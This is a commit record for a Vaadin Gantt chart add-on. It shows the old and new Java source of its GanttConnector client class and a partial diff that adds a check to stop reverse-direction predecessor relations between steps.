public boolean isTwelveHourClock() {
try {
return LocaleService.isTwelveHourClock(locale);
} catch (LocaleNotLoadedException e) {
GWT.log(e.getMessage(), e);
}
return false;
}
@Override
public String getLocale() {
return locale;
}
@Override
public long getTimeZoneOffset(Date zonedDate) {
int offset = -getTimeZone().getOffset(zonedDate) * 60000;
return offset;
}
@Override
public TimeZone getTimeZone() {
return timeZone;
}
@Override
public long getDaylightAdjustment(Date zonedDate) {
return getTimeZone().getDaylightAdjustment(zonedDate) * 60000;
}
};
GanttRpc ganttRpc = new GanttRpc() {
@Override
public void stepClicked(String stepUid) {
rpc.stepClicked(stepUid);
}
@Override
public void onMove(String stepUid, String newStepUid, long startDate,
long endDate) {
rpc.onMove(stepUid, newStepUid, startDate, endDate);
}
@Override
public void onResize(String stepUid, long startDate, long endDate) {
rpc.onResize(stepUid, startDate, endDate);
}
@Override
public boolean onStepRelationSelected(StepWidget source,
boolean startingPointChanged, Element newRelationStepElement) {
StepWidget sw = findStepWidgetByElement(newRelationStepElement);
if (sw == null) {
return false;
}
if (startingPointChanged) {
// source is target (sw is related to source).
// sw is new predecessor.
if (sw.getStep().equals(source.getStep().getPredecessor())) {
return false;
} else if (sw.getStep().equals(source.getStep())) {
// remove predecessor
rpc.onPredecessorChanged(null, source.getStep().getUid(),
source.getStep().getUid());
return true;
}
rpc.onPredecessorChanged(sw.getStep().getUid(), source
.getStep().getUid(), null);
} else {
// source is original target (sw is new target)
if (sw.getStep().equals(source.getStep())) {
return false;
} else if (sw.getStep().equals(
source.getStep().getPredecessor())) {
// remove predecessor
rpc.onPredecessorChanged(null, source.getStep().getUid(),
source.getStep().getUid());
return true;
}
if (source.getStep().getPredecessor() != null) {
StepWidget w = getStepWidget(source.getStep()
.getPredecessor());
if (w.getStep() != null
&& w.getStep().getPredecessor() != null
&& w.getStep().getPredecessor()
.equals(sw.getStep())) {
// there's relation already, with different direction.
return false;
}
}
rpc.onPredecessorChanged(source.getStep().getPredecessor()
.getUid(), sw.getStep().getUid(), source.getStep()
.getUid());
}
return true;
}
};
GanttClientRpc ganttClientRpc = new GanttClientRpc() {
@Override
public void updateDelegateTargetHeight() {
GanttConnector.this.adjustDelegateTargetHeightLazily();
}
};
int previousHeight = -1;
int previousWidth = -1;
final ElementResizeListener widgetResizeListener = new ElementResizeListener() {
@Override
public void onElementResize(ElementResizeEvent e) {
final int height = e.getElement().getClientHeight();
final int width = e.getElement().getClientWidth();
if (previousHeight != height) {
previousHeight = height;
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
getWidget().notifyHeightChanged(height);
updateDelegateTargetHeight();
}
});
}
if (previousWidth != width) {
previousWidth = width;
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
getWidget().notifyWidthChanged(width);
updateAllStepsPredecessors();
updateDelegateTargetHeight();
}
});
}
}
};
public GanttConnector() {
registerRpc(GanttClientRpc.class, ganttClientRpc);
}
@Override
protected void init() {
super.init();
BrowserInfo info = BrowserInfo.get();
getWidget()
.setBrowserInfo(info.isIE(), info.isChrome(), info.isSafari(),
info.isWebkit(), info.getBrowserMajorVersion());
// If background grid is not needed, ie9 works without
// setting alwaysCalculatePixelWidths flag to true.
getWidget().setAlwaysCalculatePixelWidths(
info.isSafari() || info.isOpera() || info.isIE8()
|| info.isIE9());
getWidget().setTouchSupported(info.isTouchDevice());
getWidget().initWidget(ganttRpc, localeDataProvider);
getLayoutManager().addElementResizeListener(getWidget().getElement(),
widgetResizeListener);
}
@Override
public void onUnregister() {
super.onUnregister();
getLayoutManager().removeElementResizeListener(
getWidget().getElement(), widgetResizeListener);
unRegisterScrollDelegateHandlers();
}
@Override
protected Widget createWidget() {
return GWT.create(GanttWidget.class);
}
@Override
public GanttWidget getWidget() {
return (GanttWidget) super.getWidget();
}
@Override
public GanttState getState() {
return (GanttState) super.getState();
}
@Override
public void onStateChanged(StateChangeEvent stateChangeEvent) {
super.onStateChanged(stateChangeEvent);
locale = getState().locale;
timeZoneId = getState().timeZoneId;
if (stateChangeEvent.hasPropertyChanged("locale")) {
dateTimeService = null;
}
if (stateChangeEvent.hasPropertyChanged("timeZoneId")) {
if (getState().timeZoneJson != null) {
timeZone = TimeZone.createTimeZone(getState().timeZoneJson);
} else {
timeZone = TimeZone.createTimeZone(0);
}
}
final boolean changeHasInpactToSteps = stateChangeEvent
.hasPropertyChanged("resolution")
|| stateChangeEvent.hasPropertyChanged("startDate")
|| stateChangeEvent.hasPropertyChanged("endDate");
if (stateChangeEvent.hasPropertyChanged("monthRowVisible")
|| stateChangeEvent.hasPropertyChanged("yearRowVisible")
|| stateChangeEvent.hasPropertyChanged("monthFormat")
|| stateChangeEvent.hasPropertyChanged("yearFormat")
|| stateChangeEvent.hasPropertyChanged("weekFormat")
|| stateChangeEvent.hasPropertyChanged("dayFormat")) {
notifyHeight = !stateChangeEvent.isInitialStateChange();
getWidget().setForceUpdateTimeline();
}
if (!notifyHeight && stateChangeEvent.hasPropertyChanged("resolution")) {
notifyHeight = !stateChangeEvent.isInitialStateChange();
}
if (stateChangeEvent.hasPropertyChanged("readOnly")) {
getWidget().setMovableSteps(
!getState().readOnly && getState().movableSteps);
getWidget().setResizableSteps(
!getState().readOnly && getState().resizableSteps);
for (StepWidget s : getSteps()) {
s.setReadOnly(getState().readOnly);
}
}
if (stateChangeEvent.hasPropertyChanged("verticalScrollDelegateTarget")) {
handleVerticalScrollDelegateTargetChange();
}
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
getWidget().update(getSteps());
if (notifyHeight) {
getWidget().notifyHeightChanged(previousHeight);
}
if (changeHasInpactToSteps) {
updateAllStepsPredecessors();
}
updateVerticalScrollDelegation();
adjustDelegateTargetHeightLazily();
}
});
}
protected List<StepWidget> getSteps() {
List<StepWidget> steps = new ArrayList<StepWidget>();
for (Connector sc : getState().steps) {
steps.add(((StepConnector) sc).getWidget());
}
return steps;
}
protected StepWidget findStepWidgetByElement(Element target) {
for (Widget w : getSteps()) {
if (w.getElement().isOrHasChild(target)) {
if (w instanceof StepWidget) {
return (StepWidget) w;
}
}
}
return null;
}
protected Map<Step, StepWidget> getStepsMap() {
Map<Step, StepWidget> steps = new HashMap<Step, StepWidget>();
StepWidget stepWidget;
for (Connector sc : getState().steps) {
stepWidget = ((StepConnector) sc).getWidget();
steps.put(((StepConnector) sc).getState().step, stepWidget);
}
return steps;
}
void handleVerticalScrollDelegateTargetChange() {
Connector c = getState().verticalScrollDelegateTarget;
unRegisterScrollDelegateHandlers();
delegateScrollConnector = null;
delegateScrollTableTarget = null;
delegateScrollPanelTarget = null;
if (c instanceof TableConnector) {
delegateScrollConnector = (TableConnector) c;
VScrollTable scrolltable = ((TableConnector) c).getWidget();
delegateScrollTableTarget = scrolltable;
delegateScrollPanelTarget = scrolltable.scrollBodyPanel;
registerScrollDelegateHandlers();
}
}
void unRegisterScrollDelegateHandlers() {
if (scrollDelegateHandlerRegistration != null) {
scrollDelegateHandlerRegistration.removeHandler();
}
if (ganttScrollHandlerRegistration != null) {
ganttScrollHandlerRegistration.removeHandler();
}
if (delegateScrollConnector != null) {
delegateScrollConnector
.removeStateChangeHandler(scrollDelegateTargetStateChangeHandler);
}
if (delegateScrollTableTarget != null) {
getLayoutManager().removeElementResizeListener(
delegateScrollTableTarget.getElement(),
scrollDelegateTargetResizeListener);
}
}
void registerScrollDelegateHandlers() {
delegateScrollConnector
.addStateChangeHandler(scrollDelegateTargetStateChangeHandler);
getLayoutManager().addElementResizeListener(
delegateScrollTableTarget.getElement(),
scrollDelegateTargetResizeListener);
}
void updateVerticalScrollDelegation() {
if (delegateScrollPanelTarget == null) {
return; // scroll delegation is not set
}
// register scroll handler to Gantt widget
ganttScrollHandlerRegistration = getWidget().addDomHandler(
ganttScrollHandler, ScrollEvent.getType());
// register a scroll handler to 'delegation' scroll panel.
scrollDelegateHandlerRegistration = delegateScrollPanelTarget
.addScrollHandler(scrollDelegateTargetHandler);
// add detach listener to unregister scroll handler when its detached.
delegateScrollPanelTarget.addAttachHandler(new Handler() {
@Override
public void onAttachOrDetach(AttachEvent event) {
if (!event.isAttached()
&& scrollDelegateHandlerRegistration != null) {
scrollDelegateHandlerRegistration.removeHandler();
}
}
});
}
void updateDelegateTargetHeight() {
if (delegateScrollTableTarget == null) {
return;
}
int headerHeight = 0;
if (delegateScrollTableTarget.tHead != null) {
// update table header height to match the Gantt widget's header
// height
int border = WidgetUtil
.measureVerticalBorder(delegateScrollTableTarget.tHead
.getElement());
headerHeight = getWidget().getTimelineHeight();
delegateScrollTableTarget.tHead.setHeight(Math.max(0, headerHeight
- border)
+ "px");
}
int border = WidgetUtil.measureVerticalBorder(delegateScrollPanelTarget
.getElement());
// Adjust table's scroll container height to match the Gantt widget's
// scroll container height.
int newTableScrollContainerHeight = getWidget()
.getScrollContainerHeight();
boolean tableHorScrollbarVisible = border >= WidgetUtil
.getNativeScrollbarSize();
if (getWidget().isContentOverflowingHorizontally()) {
getWidget().hideHorizontalScrollbarSpacer();
if (tableHorScrollbarVisible) {
newTableScrollContainerHeight += WidgetUtil
.getNativeScrollbarSize();
}
} else {
if (tableHorScrollbarVisible) {
getWidget().showHorizontalScrollbarSpacer();
} else {
getWidget().hideHorizontalScrollbarSpacer();
}
}
delegateScrollPanelTarget.setHeight(Math.max(0,
newTableScrollContainerHeight) + "px");
getLayoutManager().setNeedsMeasure(
(ComponentConnector) getState().verticalScrollDelegateTarget);
}
void adjustDelegateTargetHeightLazily() {
lazyAdjustDelegateTargetHeight.cancel();
// delay must be more than VScrollTable widget's lazy column adjusting.
lazyAdjustDelegateTargetHeight.schedule(350);
}
@Override
public void updateCaption(ComponentConnector connector) {
}
@Override
public void onConnectorHierarchyChange(
ConnectorHierarchyChangeEvent connectorHierarchyChangeEvent) {
// StepConnector handles adding new step.
// Here we handle removing and other necessary changed related
// hierarchy.
Set<StepWidget> predecessorRemoved = new HashSet<StepWidget>();
// remove old steps
for (ComponentConnector c : connectorHierarchyChangeEvent
.getOldChildren()) {
if (!getChildComponents().contains(c)) {
StepWidget stepWidget = ((StepConnector) c).getWidget();
getWidget().removeStep(stepWidget);
predecessorRemoved.add(stepWidget);
}
}
Map<Step, StepWidget> steps = getStepsMap();
// update new steps with references to gantt widget and locale data
// provider.
for (ComponentConnector c : getChildComponents()) {
StepWidget stepWidget = ((StepConnector) c).getWidget();
if (!connectorHierarchyChangeEvent.getOldChildren().contains(c)) {
stepWidget.setGantt(getWidget(), localeDataProvider);
}
Step predecessor = ((StepConnector) c).getState().step
.getPredecessor();
if (predecessor != null && !predecessorRemoved.contains(stepWidget)) {
stepWidget.setPredecessorStepWidget(steps.get(predecessor));
} else {
stepWidget.setPredecessorStepWidget(null);
}
}
deferredUpdateAllStepsPredecessors();
}
/** Updates all steps predecessor visualizations. */
public void updateAllStepsPredecessors() {
for (ComponentConnector c : getChildComponents()) {
StepWidget stepWidget = ((StepConnector) c).getWidget();
stepWidget.updatePredecessor();
}
}
private void deferredUpdateAllStepsPredecessors() {
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
updateAllStepsPredecessors();
}
});
}
/**
* Return {@link StepWidget} objects that are related to the given
* StepWidget. Via {@link Step#getPredecessor()} for example.
*/
public Set<StepWidget> findRelatedSteps(Step targetStep,
List<ComponentConnector> stepConnectors) {
Set<StepWidget> widgets = new HashSet<StepWidget>();
for (ComponentConnector con : stepConnectors) {
StepWidget stepWidget = ((StepConnector) con).getWidget();
if (targetStep.equals(stepWidget.getStep().getPredecessor())) {
widgets.add(stepWidget);
}
}
return widgets;
}
public StepWidget getStepWidget(Step target) {
return getStepsMap().get(target);
}
}
| gantt-addon/src/main/java/org/tltv/gantt/client/GanttConnector.java | /*
* Copyright 2016 Tomi Virtanen
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.tltv.gantt.client;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.tltv.gantt.Gantt;
import org.tltv.gantt.client.shared.GanttClientRpc;
import org.tltv.gantt.client.shared.GanttServerRpc;
import org.tltv.gantt.client.shared.GanttState;
import org.tltv.gantt.client.shared.Step;
import com.google.gwt.core.client.GWT;
import com.google.gwt.core.client.Scheduler;
import com.google.gwt.core.client.Scheduler.ScheduledCommand;
import com.google.gwt.dom.client.Element;
import com.google.gwt.event.dom.client.ScrollEvent;
import com.google.gwt.event.dom.client.ScrollHandler;
import com.google.gwt.event.logical.shared.AttachEvent;
import com.google.gwt.event.logical.shared.AttachEvent.Handler;
import com.google.gwt.event.shared.HandlerRegistration;
import com.google.gwt.i18n.client.TimeZone;
import com.google.gwt.i18n.shared.DateTimeFormat;
import com.google.gwt.user.client.Timer;
import com.google.gwt.user.client.ui.Widget;
import com.vaadin.client.BrowserInfo;
import com.vaadin.client.ComponentConnector;
import com.vaadin.client.ConnectorHierarchyChangeEvent;
import com.vaadin.client.LocaleNotLoadedException;
import com.vaadin.client.LocaleService;
import com.vaadin.client.WidgetUtil;
import com.vaadin.client.communication.RpcProxy;
import com.vaadin.client.communication.StateChangeEvent;
import com.vaadin.client.communication.StateChangeEvent.StateChangeHandler;
import com.vaadin.client.ui.AbstractHasComponentsConnector;
import com.vaadin.client.ui.FocusableScrollPanel;
import com.vaadin.client.ui.VScrollTable;
import com.vaadin.client.ui.layout.ElementResizeEvent;
import com.vaadin.client.ui.layout.ElementResizeListener;
import com.vaadin.client.ui.table.TableConnector;
import com.vaadin.shared.Connector;
import com.vaadin.shared.ui.Connect;
/**
* Connector for client side GWT {@link GanttWidget} and server side
* {@link Gantt} Vaadin component.
*
* @author Tltv
*
*/
@Connect(Gantt.class)
public class GanttConnector extends AbstractHasComponentsConnector {
GanttServerRpc rpc = RpcProxy.create(GanttServerRpc.class, this);
String locale;
String timeZoneId;
TimeZone timeZone;
GanttDateTimeService dateTimeService;
boolean notifyHeight = false;
ComponentConnector delegateScrollConnector;
FocusableScrollPanel delegateScrollPanelTarget;
VScrollTable delegateScrollTableTarget;
HandlerRegistration ganttScrollHandlerRegistration;
HandlerRegistration scrollDelegateHandlerRegistration;
// flag indicating that scroll is delegating right now
boolean ganttDelegatingVerticalScroll = false;
boolean delegatingVerticalScroll = false;
Timer ganttScrollDelay = new Timer() {
@Override
public void run() {
ganttDelegatingVerticalScroll = false;
}
};
Timer scrollDelay = new Timer() {
@Override
public void run() {
delegatingVerticalScroll = false;
}
};
/**
* Scroll handler for Gantt component to delegate to other component.
*/
final ScrollHandler ganttScrollHandler = new ScrollHandler() {
@Override
public void onScroll(ScrollEvent event) {
if (delegatingVerticalScroll) {
// if other component is scrolling, don't allow this scroll
// event
return;
}
ganttScrollDelay.cancel();
ganttDelegatingVerticalScroll = true;
int scrollTop = getWidget().getScrollContainer().getScrollTop();
try {
delegateScrollPanelTarget.setScrollPosition(scrollTop);
} finally {
ganttScrollDelay.schedule(20);
}
}
};
/**
* Scroll handler for scroll events from other component that Gantt may
* react to.
*/
final ScrollHandler scrollDelegateTargetHandler = new ScrollHandler() {
@Override
public void onScroll(ScrollEvent event) {
if (ganttDelegatingVerticalScroll) {
// if gantt is scrolling, don't allow this scroll event
return;
}
scrollDelay.cancel();
int scrollPosition = delegateScrollPanelTarget.getScrollPosition();
delegatingVerticalScroll = true;
try {
getWidget().getScrollContainer().setScrollTop(scrollPosition);
} finally {
scrollDelay.schedule(20);
}
}
};
final StateChangeHandler scrollDelegateTargetStateChangeHandler = new StateChangeHandler() {
@Override
public void onStateChanged(StateChangeEvent stateChangeEvent) {
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
adjustDelegateTargetHeightLazily();
}
});
}
};
ElementResizeListener scrollDelegateTargetResizeListener = new ElementResizeListener() {
@Override
public void onElementResize(ElementResizeEvent e) {
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
adjustDelegateTargetHeightLazily();
}
});
}
};
Timer lazyAdjustDelegateTargetHeight = new Timer() {
@Override
public void run() {
updateDelegateTargetHeight();
}
};
LocaleDataProvider localeDataProvider = new LocaleDataProvider() {
@Override
public String[] getWeekdayNames() {
try {
return LocaleService.getDayNames(locale);
} catch (LocaleNotLoadedException e) {
GWT.log(e.getMessage(), e);
}
// return default
return new String[] { "sunday", "monday", "tuesday", "wednesday",
"thursday", "friday", "saturday" };
}
@Override
public String[] getMonthNames() {
try {
return LocaleService.getMonthNames(locale);
} catch (LocaleNotLoadedException e) {
GWT.log(e.getMessage(), e);
}
// return default
return new String[] { "January", "February", "March", "April",
"May", "June", "July", "August", "September", "October",
"November", "December" };
}
@Override
public int getFirstDayOfWeek() {
try {
// Gantt uses 1-based index, just as the server-side Java
// Locale does. Vaadin locale state has 0-based value.
return LocaleService.getFirstDayOfWeek(locale) + 1;
} catch (LocaleNotLoadedException e) {
GWT.log(e.getMessage(), e);
}
// return default
return 1; // sunday
}
@Override
public String formatDate(Date zonedDate, String formatStr) {
if (dateTimeService == null) {
try {
dateTimeService = new GanttDateTimeService(getLocale());
} catch (LocaleNotLoadedException e) {
GWT.log("Could not create DateTimeService for the locale "
+ getLocale(), e);
return "";
}
}
return dateTimeService.formatDate(zonedDate, formatStr,
getTimeZone());
}
@Override
public String formatDate(Date zonedDate, DateTimeFormat formatter) {
return formatter.format(zonedDate, getTimeZone());
}
@Override
public boolean isTwelveHourClock() {
try {
return LocaleService.isTwelveHourClock(locale);
} catch (LocaleNotLoadedException e) {
GWT.log(e.getMessage(), e);
}
return false;
}
@Override
public String getLocale() {
return locale;
}
@Override
public long getTimeZoneOffset(Date zonedDate) {
int offset = -getTimeZone().getOffset(zonedDate) * 60000;
return offset;
}
@Override
public TimeZone getTimeZone() {
return timeZone;
}
@Override
public long getDaylightAdjustment(Date zonedDate) {
return getTimeZone().getDaylightAdjustment(zonedDate) * 60000;
}
};
GanttRpc ganttRpc = new GanttRpc() {
@Override
public void stepClicked(String stepUid) {
rpc.stepClicked(stepUid);
}
@Override
public void onMove(String stepUid, String newStepUid, long startDate,
long endDate) {
rpc.onMove(stepUid, newStepUid, startDate, endDate);
}
@Override
public void onResize(String stepUid, long startDate, long endDate) {
rpc.onResize(stepUid, startDate, endDate);
}
@Override
public boolean onStepRelationSelected(StepWidget source,
boolean startingPointChanged, Element newRelationStepElement) {
StepWidget sw = findStepWidgetByElement(newRelationStepElement);
if (sw == null) {
return false;
}
if (startingPointChanged) {
// source is target (sw is related to source).
// sw is new predecessor.
if (sw.getStep().equals(source.getStep().getPredecessor())) {
return false;
} else if (sw.getStep().equals(source.getStep())) {
// remove predecessor
rpc.onPredecessorChanged(null, source.getStep().getUid(),
source.getStep().getUid());
return true;
}
rpc.onPredecessorChanged(sw.getStep().getUid(), source
.getStep().getUid(), null);
} else {
// source is original target (sw is new target)
if (sw.getStep().equals(source.getStep())) {
return false;
} else if (sw.getStep().equals(
source.getStep().getPredecessor())) {
// remove predecessor
rpc.onPredecessorChanged(null, source.getStep().getUid(),
source.getStep().getUid());
return true;
}
rpc.onPredecessorChanged(source.getStep().getPredecessor()
.getUid(), sw.getStep().getUid(), source.getStep()
.getUid());
}
return true;
}
};
GanttClientRpc ganttClientRpc = new GanttClientRpc() {
@Override
public void updateDelegateTargetHeight() {
GanttConnector.this.adjustDelegateTargetHeightLazily();
}
};
int previousHeight = -1;
int previousWidth = -1;
final ElementResizeListener widgetResizeListener = new ElementResizeListener() {
@Override
public void onElementResize(ElementResizeEvent e) {
final int height = e.getElement().getClientHeight();
final int width = e.getElement().getClientWidth();
if (previousHeight != height) {
previousHeight = height;
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
getWidget().notifyHeightChanged(height);
updateDelegateTargetHeight();
}
});
}
if (previousWidth != width) {
previousWidth = width;
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
getWidget().notifyWidthChanged(width);
updateAllStepsPredecessors();
updateDelegateTargetHeight();
}
});
}
}
};
public GanttConnector() {
registerRpc(GanttClientRpc.class, ganttClientRpc);
}
@Override
protected void init() {
super.init();
BrowserInfo info = BrowserInfo.get();
getWidget()
.setBrowserInfo(info.isIE(), info.isChrome(), info.isSafari(),
info.isWebkit(), info.getBrowserMajorVersion());
// If background grid is not needed, ie9 works without
// setting alwaysCalculatePixelWidths flag to true.
getWidget().setAlwaysCalculatePixelWidths(
info.isSafari() || info.isOpera() || info.isIE8()
|| info.isIE9());
getWidget().setTouchSupported(info.isTouchDevice());
getWidget().initWidget(ganttRpc, localeDataProvider);
getLayoutManager().addElementResizeListener(getWidget().getElement(),
widgetResizeListener);
}
@Override
public void onUnregister() {
getLayoutManager().removeElementResizeListener(
getWidget().getElement(), widgetResizeListener);
unRegisterScrollDelegateHandlers();
}
@Override
protected Widget createWidget() {
return GWT.create(GanttWidget.class);
}
@Override
public GanttWidget getWidget() {
return (GanttWidget) super.getWidget();
}
@Override
public GanttState getState() {
return (GanttState) super.getState();
}
@Override
public void onStateChanged(StateChangeEvent stateChangeEvent) {
super.onStateChanged(stateChangeEvent);
locale = getState().locale;
timeZoneId = getState().timeZoneId;
if (stateChangeEvent.hasPropertyChanged("locale")) {
dateTimeService = null;
}
if (stateChangeEvent.hasPropertyChanged("timeZoneId")) {
if (getState().timeZoneJson != null) {
timeZone = TimeZone.createTimeZone(getState().timeZoneJson);
} else {
timeZone = TimeZone.createTimeZone(0);
}
}
final boolean changeHasInpactToSteps = stateChangeEvent
.hasPropertyChanged("resolution")
|| stateChangeEvent.hasPropertyChanged("startDate")
|| stateChangeEvent.hasPropertyChanged("endDate");
if (stateChangeEvent.hasPropertyChanged("monthRowVisible")
|| stateChangeEvent.hasPropertyChanged("yearRowVisible")
|| stateChangeEvent.hasPropertyChanged("monthFormat")
|| stateChangeEvent.hasPropertyChanged("yearFormat")
|| stateChangeEvent.hasPropertyChanged("weekFormat")
|| stateChangeEvent.hasPropertyChanged("dayFormat")) {
notifyHeight = !stateChangeEvent.isInitialStateChange();
getWidget().setForceUpdateTimeline();
}
if (!notifyHeight && stateChangeEvent.hasPropertyChanged("resolution")) {
notifyHeight = !stateChangeEvent.isInitialStateChange();
}
if (stateChangeEvent.hasPropertyChanged("readOnly")) {
getWidget().setMovableSteps(
!getState().readOnly && getState().movableSteps);
getWidget().setResizableSteps(
!getState().readOnly && getState().resizableSteps);
for (StepWidget s : getSteps()) {
s.setReadOnly(getState().readOnly);
}
}
if (stateChangeEvent.hasPropertyChanged("verticalScrollDelegateTarget")) {
handleVerticalScrollDelegateTargetChange();
}
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
getWidget().update(getSteps());
if (notifyHeight) {
getWidget().notifyHeightChanged(previousHeight);
}
if (changeHasInpactToSteps) {
updateAllStepsPredecessors();
}
updateVerticalScrollDelegation();
adjustDelegateTargetHeightLazily();
}
});
}
protected List<StepWidget> getSteps() {
List<StepWidget> steps = new ArrayList<StepWidget>();
for (Connector sc : getState().steps) {
steps.add(((StepConnector) sc).getWidget());
}
return steps;
}
protected StepWidget findStepWidgetByElement(Element target) {
for (Widget w : getSteps()) {
if (w.getElement().isOrHasChild(target)) {
if (w instanceof StepWidget) {
return (StepWidget) w;
}
}
}
return null;
}
protected Map<Step, StepWidget> getStepsMap() {
Map<Step, StepWidget> steps = new HashMap<Step, StepWidget>();
StepWidget stepWidget;
for (Connector sc : getState().steps) {
stepWidget = ((StepConnector) sc).getWidget();
steps.put(((StepConnector) sc).getState().step, stepWidget);
}
return steps;
}
void handleVerticalScrollDelegateTargetChange() {
Connector c = getState().verticalScrollDelegateTarget;
unRegisterScrollDelegateHandlers();
delegateScrollConnector = null;
delegateScrollTableTarget = null;
delegateScrollPanelTarget = null;
if (c instanceof TableConnector) {
delegateScrollConnector = (TableConnector) c;
VScrollTable scrolltable = ((TableConnector) c).getWidget();
delegateScrollTableTarget = scrolltable;
delegateScrollPanelTarget = scrolltable.scrollBodyPanel;
registerScrollDelegateHandlers();
}
}
void unRegisterScrollDelegateHandlers() {
if (scrollDelegateHandlerRegistration != null) {
scrollDelegateHandlerRegistration.removeHandler();
}
if (ganttScrollHandlerRegistration != null) {
ganttScrollHandlerRegistration.removeHandler();
}
if (delegateScrollConnector != null) {
delegateScrollConnector
.removeStateChangeHandler(scrollDelegateTargetStateChangeHandler);
}
if (delegateScrollTableTarget != null) {
getLayoutManager().removeElementResizeListener(
delegateScrollTableTarget.getElement(),
scrollDelegateTargetResizeListener);
}
}
void registerScrollDelegateHandlers() {
delegateScrollConnector
.addStateChangeHandler(scrollDelegateTargetStateChangeHandler);
getLayoutManager().addElementResizeListener(
delegateScrollTableTarget.getElement(),
scrollDelegateTargetResizeListener);
}
void updateVerticalScrollDelegation() {
if (delegateScrollPanelTarget == null) {
return; // scroll delegation is not set
}
// register scroll handler to Gantt widget
ganttScrollHandlerRegistration = getWidget().addDomHandler(
ganttScrollHandler, ScrollEvent.getType());
// register a scroll handler to 'delegation' scroll panel.
scrollDelegateHandlerRegistration = delegateScrollPanelTarget
.addScrollHandler(scrollDelegateTargetHandler);
// add detach listener to unregister scroll handler when its detached.
delegateScrollPanelTarget.addAttachHandler(new Handler() {
@Override
public void onAttachOrDetach(AttachEvent event) {
if (!event.isAttached()
&& scrollDelegateHandlerRegistration != null) {
scrollDelegateHandlerRegistration.removeHandler();
}
}
});
}
void updateDelegateTargetHeight() {
if (delegateScrollTableTarget == null) {
return;
}
int headerHeight = 0;
if (delegateScrollTableTarget.tHead != null) {
// update table header height to match the Gantt widget's header
// height
int border = WidgetUtil
.measureVerticalBorder(delegateScrollTableTarget.tHead
.getElement());
headerHeight = getWidget().getTimelineHeight();
delegateScrollTableTarget.tHead.setHeight(Math.max(0, headerHeight
- border)
+ "px");
}
int border = WidgetUtil.measureVerticalBorder(delegateScrollPanelTarget
.getElement());
// Adjust table's scroll container height to match the Gantt widget's
// scroll container height.
int newTableScrollContainerHeight = getWidget()
.getScrollContainerHeight();
boolean tableHorScrollbarVisible = border >= WidgetUtil
.getNativeScrollbarSize();
if (getWidget().isContentOverflowingHorizontally()) {
getWidget().hideHorizontalScrollbarSpacer();
if (tableHorScrollbarVisible) {
newTableScrollContainerHeight += WidgetUtil
.getNativeScrollbarSize();
}
} else {
if (tableHorScrollbarVisible) {
getWidget().showHorizontalScrollbarSpacer();
} else {
getWidget().hideHorizontalScrollbarSpacer();
}
}
delegateScrollPanelTarget.setHeight(Math.max(0,
newTableScrollContainerHeight) + "px");
getLayoutManager().setNeedsMeasure(
(ComponentConnector) getState().verticalScrollDelegateTarget);
}
void adjustDelegateTargetHeightLazily() {
lazyAdjustDelegateTargetHeight.cancel();
// delay must be more than VScrollTable widget's lazy column adjusting.
lazyAdjustDelegateTargetHeight.schedule(350);
}
@Override
public void updateCaption(ComponentConnector connector) {
}
@Override
public void onConnectorHierarchyChange(
ConnectorHierarchyChangeEvent connectorHierarchyChangeEvent) {
// StepConnector handles adding new step.
// Here we handle removing and other necessary changed related
// hierarchy.
Set<StepWidget> predecessorRemoved = new HashSet<StepWidget>();
// remove old steps
for (ComponentConnector c : connectorHierarchyChangeEvent
.getOldChildren()) {
if (!getChildComponents().contains(c)) {
StepWidget stepWidget = ((StepConnector) c).getWidget();
getWidget().removeStep(stepWidget);
predecessorRemoved.add(stepWidget);
}
}
Map<Step, StepWidget> steps = getStepsMap();
// update new steps with references to gantt widget and locale data
// provider.
for (ComponentConnector c : getChildComponents()) {
StepWidget stepWidget = ((StepConnector) c).getWidget();
if (!connectorHierarchyChangeEvent.getOldChildren().contains(c)) {
stepWidget.setGantt(getWidget(), localeDataProvider);
}
Step predecessor = ((StepConnector) c).getState().step
.getPredecessor();
if (predecessor != null && !predecessorRemoved.contains(stepWidget)) {
stepWidget.setPredecessorStepWidget(steps.get(predecessor));
} else {
stepWidget.setPredecessorStepWidget(null);
}
}
deferredUpdateAllStepsPredecessors();
}
/** Updates all steps predecessor visualizations. */
public void updateAllStepsPredecessors() {
for (ComponentConnector c : getChildComponents()) {
StepWidget stepWidget = ((StepConnector) c).getWidget();
stepWidget.updatePredecessor();
}
}
private void deferredUpdateAllStepsPredecessors() {
Scheduler.get().scheduleDeferred(new ScheduledCommand() {
@Override
public void execute() {
updateAllStepsPredecessors();
}
});
}
/**
* Return {@link StepWidget} objects that are related to the given
* StepWidget. Via {@link Step#getPredecessor()} for example.
*/
public Set<StepWidget> findRelatedSteps(Step targetStep,
List<ComponentConnector> stepConnectors) {
Set<StepWidget> widgets = new HashSet<StepWidget>();
for (ComponentConnector con : stepConnectors) {
StepWidget stepWidget = ((StepConnector) con).getWidget();
if (targetStep.equals(stepWidget.getStep().getPredecessor())) {
widgets.add(stepWidget);
}
}
return widgets;
}
public StepWidget getStepWidget(Step target) {
return getStepsMap().get(target);
}
}
| Fix for predecessor change handling. | gantt-addon/src/main/java/org/tltv/gantt/client/GanttConnector.java | Fix for predecessor change handling. | <ide><path>antt-addon/src/main/java/org/tltv/gantt/client/GanttConnector.java
<ide> source.getStep().getUid());
<ide> return true;
<ide> }
<add>
<add> if (source.getStep().getPredecessor() != null) {
<add> StepWidget w = getStepWidget(source.getStep()
<add> .getPredecessor());
<add> if (w.getStep() != null
<add> && w.getStep().getPredecessor() != null
<add> && w.getStep().getPredecessor()
<add> .equals(sw.getStep())) {
